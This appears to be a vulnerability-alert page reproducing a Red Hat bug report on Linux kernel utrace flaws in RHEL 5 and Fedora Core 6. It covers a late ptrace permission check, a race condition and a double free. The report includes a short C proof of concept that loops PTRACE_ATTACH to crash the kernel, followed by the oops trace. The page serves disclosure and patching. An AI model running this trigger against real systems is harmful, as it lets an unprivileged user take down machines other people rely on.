First published: Mon Jun 02 2008(Updated: )
Description of problem: Alexei Dobryanov has reported the following kernel utrace related issue (<a class="bz_bug_link bz_secure " title="" href="show_bug.cgi?id=245735">BZ#245735</a>): 1. late ptrace_may_attach() check static int ptrace_attach(struct task_struct *task) { ... engine = utrace_attach(task, (UTRACE_ATTACH_CREATE | UTRACE_ATTACH_EXCLUSIVE | UTRACE_ATTACH_MATCH_OPS), &ptrace_utrace_ops, 0); [error checking] if (ptrace_may_attach(task)) { [more attaching process] Doing may attach check there is asking for trouble, because utrace_attach() will happily create and modify "struct utrace *" and create and attach engines to it on task you don't have permissions. Order should be reverted. That's easy. 2. race around &dead_engine_ops setting... I originally thought #1 would lead to memory leaks, however, written dumb PTRACE_ATTACH'er gave much more amazing results. The following program quickly (1 sec) oopses kernel when run against process you normally can't attach to (like normal user to getty processes) #include <stdlib.h> #include <sys/ptrace.h> int main(int argc, char *argv[]) { pid_t pid = atoi(argv[1]); while (1) ptrace(PTRACE_ATTACH, pid, NULL, NULL); return 0; } Unable to handle kernel NULL pointer dereference at 0000000000000000 RIP: [<0000000000000000>] [<ffffffff8005f1cd>] report_quiescent+0x36/0x154 [<ffffffff8005f316>] utrace_quiescent+0x2b/0x238 [<ffffffff800601e9>] utrace_get_signal+0x45d/0x4c0 [<ffffffff80039c6f>] get_signal_to_deliver+0x169/0x47a [<ffffffff80008f5a>] do_notify_resume+0xd0/0x7e2 [<ffffffff80203673>] _spin_unlock_irqrestore+0x3f/0x45 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f [<ffffffff801400c0>] tty_read+0x81/0xc7 [<ffffffff80202ede>] trace_hardirqs_on_thunk+0x35/0x37 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f [<ffffffff80009b43>] sysret_signal+0x21/0x31 [<ffffffff80009deb>] ptregscall_common+0x67/0xac This is a race we chatted with Roland about: <a href="http://marc.info/?l=linux-kernel&m=117863520707703&w=2">http://marc.info/?l=linux-kernel&m=117863520707703&w=2</a> <span class="quote">> engine's flags and ops settings in utrace_detach() and acting on them in > report_quiescent():</span> <span class="quote">> utrace_detach() report_quiescent() > --------------- ------------------ > [utrace lock held] [utrace lock is not held]</span> <span class="quote">> engine->flags = > UTRACE_EVENT(QUIESCE) | UTRACE_ACTION_QUIESCE;</span> <span class="quote">> if (engine->flags & UTRACE_EVENT(QUIESCE)) > REPORT(report_quiesce);</span> <span class="quote">> rcu_assign_pointer(engine->ops, &dead_engine_ops);</span> <span class="quote">> At the moment of REPORT call engine's ops are still "live" ptrace ops > which do not have ->report_quiesce callback. So, there will oops while > calling function at NULL address. "Dead" ptrace engine ops do have dummy > callback but it wasn't yet glued.</span> Obviously, patch #1 won't fix this. 3. Looks like nobody filed double free at utrace aka oops at __rcu_process_callbacks() against RHEL5 kernel. It's bug <a href="https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002">https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002</a> against FC6, but, hey, every utrace version has it. Test program attached. Every user can trigger it.
Affected Software | Affected Version | How to fix |
---|---|---|
Red Hat Enterprise Linux | >=5 | |
Fedora Core | >=6 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
The severity of REDHAT-BUG-449359 is currently classified based on its potential impact on the security of the affected systems.
To fix REDHAT-BUG-449359, users should apply the appropriate kernel updates provided by Red Hat or Fedora.
REDHAT-BUG-449359 affects Red Hat Enterprise Linux versions from 5 and Fedora Core versions from 6.
No, REDHAT-BUG-449359 is not characterized as a remote vulnerability but rather involves local process manipulation.
REDHAT-BUG-449359 was reported by Alexei Dobryanov and involves a kernel utrace related issue.